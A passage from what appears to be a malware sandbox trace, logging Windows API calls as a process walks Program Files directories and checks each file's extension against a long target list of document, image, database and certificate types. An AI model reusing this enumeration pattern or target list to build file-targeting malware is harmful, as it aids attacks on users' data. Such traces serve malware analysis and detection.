-1 [0192.845] lstrlenW (lpString=".dib") returned 4 [0192.845] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1 [0192.845] lstrlenW (lpString=".dic") returned 4 [0192.845] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1 [0192.845] lstrlenW (lpString=".dif") returned 4 [0192.845] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1 [0192.845] lstrlenW (lpString=".divx") returned 5 [0192.845] lstrcmpiW (lpString1=".divx", lpString2="d.exe") returned -1 [0192.845] lstrlenW (lpString=".djvu") returned 5 [0192.845] lstrcmpiW (lpString1=".djvu", lpString2="d.exe") returned -1 [0192.845] lstrlenW (lpString=".dng") returned 4 [0192.845] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1 [0192.845] lstrlenW (lpString=".doc") returned 4 [0192.845] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0192.845] lstrlenW (lpString=".docm") returned 5 [0192.845] lstrcmpiW (lpString1=".docm", lpString2="d.exe") returned -1 [0192.845] lstrlenW (lpString=".docx") returned 5 [0192.845] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0192.846] lstrlenW (lpString=".dot") returned 4 [0192.846] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dotm") returned 5 [0192.846] lstrcmpiW (lpString1=".dotm", lpString2="d.exe") returned -1 [0192.846] lstrlenW (lpString=".dotx") returned 5 [0192.846] lstrcmpiW (lpString1=".dotx", lpString2="d.exe") returned -1 [0192.846] lstrlenW (lpString=".dpx") returned 4 [0192.846] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dqy") returned 4 [0192.846] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dsn") returned 4 [0192.846] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dt") returned 3 [0192.846] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1 [0192.846] lstrlenW (lpString=".dtd") returned 4 [0192.846] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dwg") returned 4 [0192.846] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dwt") returned 4 [0192.846] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1 [0192.846] lstrlenW (lpString=".dx") returned 3 [0192.846] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1 [0192.846] lstrlenW (lpString=".dxf") returned 4 [0192.846] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".edml") returned 5 [0192.847] lstrcmpiW (lpString1=".edml", lpString2="d.exe") returned -1 [0192.847] lstrlenW (lpString=".efd") returned 4 [0192.847] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".elf") returned 4 [0192.847] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".emf") returned 4 [0192.847] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".emz") returned 4 [0192.847] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".epf") returned 4 [0192.847] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".eps") returned 4 [0192.847] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".epsf") returned 5 [0192.847] lstrcmpiW (lpString1=".epsf", lpString2="d.exe") returned -1 [0192.847] lstrlenW (lpString=".epsp") returned 5 [0192.847] lstrcmpiW (lpString1=".epsp", lpString2="d.exe") returned -1 [0192.847] lstrlenW (lpString=".erf") returned 4 [0192.847] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1 [0192.847] lstrlenW (lpString=".exr") returned 4 [0192.847] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1 [0192.847] lstrlenW (lpString=".f4v") returned 4 [0192.848] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".fido") returned 5 [0192.848] lstrcmpiW (lpString1=".fido", lpString2="d.exe") returned -1 [0192.848] lstrlenW (lpString=".flm") returned 4 [0192.848] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".flv") returned 4 [0192.848] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".frm") returned 4 [0192.848] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".fxg") returned 4 [0192.848] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".geo") returned 4 [0192.848] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".gif") returned 4 [0192.848] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".grs") returned 4 [0192.848] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1 [0192.848] lstrlenW (lpString=".gz") returned 3 [0192.848] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1 [0192.848] lstrlenW (lpString=".h") returned 2 [0192.848] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1 [0192.848] lstrlenW (lpString=".hdr") returned 4 [0192.848] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".hpp") returned 4 [0192.849] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".hta") returned 4 [0192.849] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".htc") returned 4 [0192.849] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".htm") returned 4 [0192.849] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".html") returned 5 [0192.849] lstrcmpiW (lpString1=".html", lpString2="d.exe") returned -1 [0192.849] lstrlenW (lpString=".icb") returned 4 [0192.849] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".ics") returned 4 [0192.849] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".iff") returned 4 [0192.849] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".inc") returned 4 [0192.849] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".indd") returned 5 [0192.849] lstrcmpiW (lpString1=".indd", lpString2="d.exe") returned -1 [0192.849] lstrlenW (lpString=".ini") returned 4 [0192.849] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1 [0192.849] lstrlenW (lpString=".iqy") returned 4 [0192.850] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".j2c") returned 4 [0192.850] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".j2k") returned 4 [0192.850] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".java") returned 5 [0192.850] lstrcmpiW (lpString1=".java", lpString2="d.exe") returned -1 [0192.850] lstrlenW (lpString=".jp2") returned 4 [0192.850] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".jpc") returned 4 [0192.850] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".jpe") returned 4 [0192.850] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".jpeg") returned 5 [0192.850] lstrcmpiW (lpString1=".jpeg", lpString2="d.exe") returned -1 [0192.850] lstrlenW (lpString=".jpf") returned 4 [0192.850] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".jpg") returned 4 [0192.850] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".jpx") returned 4 [0192.850] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1 [0192.850] lstrlenW (lpString=".js") returned 3 [0192.850] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1 [0192.851] lstrlenW (lpString=".jsf") returned 4 [0192.851] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".json") returned 5 [0192.851] lstrcmpiW (lpString1=".json", lpString2="d.exe") returned -1 [0192.851] lstrlenW (lpString=".jsp") returned 4 [0192.851] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".kdc") returned 4 [0192.851] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".kmz") returned 4 [0192.851] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".kwm") returned 4 [0192.851] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".lasso") returned 6 [0192.851] lstrcmpiW (lpString1=".lasso", lpString2="ad.exe") returned -1 [0192.851] lstrlenW (lpString=".lbi") returned 4 [0192.851] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".lgf") returned 4 [0192.851] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".lgp") returned 4 [0192.851] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1 [0192.851] lstrlenW (lpString=".log") returned 4 [0192.851] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".m1v") returned 4 [0192.852] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".m4a") returned 4 [0192.852] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".m4v") returned 4 [0192.852] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".max") returned 4 [0192.852] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".md") returned 3 [0192.852] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1 [0192.852] lstrlenW (lpString=".mda") returned 4 [0192.852] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mdb") returned 4 [0192.852] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mde") returned 4 [0192.852] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mdf") returned 4 [0192.852] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mdw") returned 4 [0192.852] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mef") returned 4 [0192.852] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1 [0192.852] lstrlenW (lpString=".mft") returned 4 [0192.852] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mfw") returned 4 [0192.853] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mht") returned 4 [0192.853] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mhtml") returned 6 [0192.853] lstrcmpiW (lpString1=".mhtml", lpString2="ad.exe") returned -1 [0192.853] lstrlenW (lpString=".mka") returned 4 [0192.853] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mkidx") returned 6 [0192.853] lstrcmpiW (lpString1=".mkidx", lpString2="ad.exe") returned -1 [0192.853] lstrlenW (lpString=".mkv") returned 4 [0192.853] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mos") returned 4 [0192.853] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mov") returned 4 [0192.853] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1 [0192.853] lstrlenW (lpString=".mp3") returned 4 [0192.853] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".mp4") returned 4 [0192.854] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".mpeg") returned 5 [0192.854] lstrcmpiW (lpString1=".mpeg", lpString2="d.exe") returned -1 [0192.854] lstrlenW (lpString=".mpg") returned 4 [0192.854] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".mpv") returned 4 [0192.854] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".mrw") returned 4 [0192.854] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".msg") returned 4 [0192.854] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".mxl") returned 4 [0192.854] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".myd") returned 4 [0192.854] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".myi") returned 4 [0192.854] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".nef") returned 4 [0192.854] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1 [0192.854] lstrlenW (lpString=".nrw") returned 4 [0192.855] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".obj") returned 4 [0192.855] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".odb") returned 4 [0192.855] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".odc") returned 4 [0192.855] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".odm") returned 4 [0192.855] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".odp") returned 4 [0192.855] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".ods") returned 4 [0192.855] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".oft") returned 4 [0192.855] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".one") returned 4 [0192.855] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1 [0192.855] lstrlenW (lpString=".onepkg") returned 7 [0192.856] lstrcmpiW (lpString1=".onepkg", lpString2="pad.exe") returned -1 [0192.856] lstrlenW (lpString=".onetoc2") returned 8 [0192.856] lstrcmpiW (lpString1=".onetoc2", lpString2="dpad.exe") returned -1 [0192.856] lstrlenW (lpString=".opt") returned 4 [0192.856] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".oqy") returned 4 [0192.856] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".orf") returned 4 [0192.856] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".p12") returned 4 [0192.856] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".p7b") returned 4 [0192.856] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".p7c") returned 4 [0192.856] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".pam") returned 4 [0192.856] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".pbm") returned 4 [0192.856] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1 [0192.856] lstrlenW (lpString=".pct") returned 4 [0192.856] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pcx") returned 4 [0192.857] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pdd") returned 4 [0192.857] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pdf") returned 4 [0192.857] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pdp") returned 4 [0192.857] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pef") returned 4 [0192.857] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pem") returned 4 [0192.857] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1 [0192.857] lstrlenW (lpString=".pff") returned 4 [0192.857] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1 [0192.858] lstrlenW (lpString=".pfm") returned 4 [0192.858] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1 [0192.858] lstrlenW (lpString=".pfx") returned 4 [0192.858] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1 [0192.858] lstrlenW (lpString=".pgm") returned 4 [0192.858] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1 [0192.858] lstrlenW (lpString=".php") returned 4 [0192.858] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1 [0192.858] lstrlenW (lpString=".php3") returned 5 [0192.858] lstrcmpiW (lpString1=".php3", lpString2="d.exe") returned -1 [0192.858] lstrlenW (lpString=".php4") returned 5 [0192.858] lstrcmpiW (lpString1=".php4", lpString2="d.exe") returned -1 [0192.858] lstrlenW (lpString=".php5") returned 5 [0192.858] lstrcmpiW (lpString1=".php5", lpString2="d.exe") returned -1 [0192.859] lstrlenW (lpString=".phtml") returned 6 [0192.859] lstrcmpiW (lpString1=".phtml", lpString2="ad.exe") returned -1 [0192.859] lstrlenW (lpString=".pict") returned 5 [0192.859] lstrcmpiW (lpString1=".pict", lpString2="d.exe") returned -1 [0192.859] lstrlenW (lpString=".pl") returned 3 [0192.859] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1 [0192.859] lstrlenW (lpString=".pls") returned 4 [0192.859] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1 [0192.859] lstrlenW (lpString=".pm") returned 3 [0192.859] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1 [0192.859] lstrlenW (lpString=".png") returned 4 [0192.859] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0192.859] lstrlenW (lpString=".pnm") returned 4 [0192.859] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1 [0192.859] lstrlenW (lpString=".pot") returned 4 [0192.859] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1 [0192.859] lstrlenW (lpString=".potm") returned 5 [0192.859] lstrcmpiW (lpString1=".potm", lpString2="d.exe") returned -1 [0192.859] lstrlenW (lpString=".potx") returned 5 [0192.859] lstrcmpiW (lpString1=".potx", lpString2="d.exe") returned -1 [0192.859] lstrlenW (lpString=".ppa") returned 4 [0192.859] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1 [0192.859] lstrlenW (lpString=".ppam") returned 5 [0192.859] lstrcmpiW (lpString1=".ppam", lpString2="d.exe") returned -1 [0192.860] lstrlenW (lpString=".ppm") returned 4 [0192.860] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".pps") returned 4 [0192.860] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".ppsm") returned 5 [0192.860] lstrcmpiW (lpString1=".ppsm", lpString2="d.exe") returned -1 [0192.860] lstrlenW (lpString=".ppt") returned 4 [0192.860] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".pptm") returned 5 [0192.860] lstrcmpiW (lpString1=".pptm", lpString2="d.exe") returned -1 [0192.860] lstrlenW (lpString=".pptx") returned 5 [0192.860] lstrcmpiW (lpString1=".pptx", lpString2="d.exe") returned -1 [0192.860] lstrlenW (lpString=".prn") returned 4 [0192.860] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".ps") returned 3 [0192.860] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1 [0192.860] lstrlenW (lpString=".psb") returned 4 [0192.860] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".psd") returned 4 [0192.860] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".pst") returned 4 [0192.860] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1 [0192.860] lstrlenW (lpString=".ptx") returned 4 [0192.860] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".pub") returned 4 [0192.861] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".pwm") returned 4 [0192.861] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".pxr") returned 4 [0192.861] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".py") returned 3 [0192.861] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1 [0192.861] lstrlenW (lpString=".qt") returned 3 [0192.861] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1 [0192.861] lstrlenW (lpString=".r3d") returned 4 [0192.861] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".raf") returned 4 [0192.861] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".rar") returned 4 [0192.861] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0192.861] lstrlenW (lpString=".raw") returned 4 [0192.861] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1 [0192.862] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0192.862] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0192.862] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.862] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6b98b0, ftCreationTime.dwHighDateTime=0x1d52d70, ftLastAccessTime.dwLowDateTime=0xceaae4e0, ftLastAccessTime.dwHighDateTime=0x1d52001, ftLastWriteTime.dwLowDateTime=0xceaae4e0, ftLastWriteTime.dwHighDateTime=0x1d52001, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="romandisclosure.exe", cAlternateFileName="ROMAND~1.EXE")) returned 1 [0192.862] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0192.862] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45b9750 [0192.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0192.863] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.863] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.863] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0192.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532340 [0192.864] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.864] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0192.864] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x20, 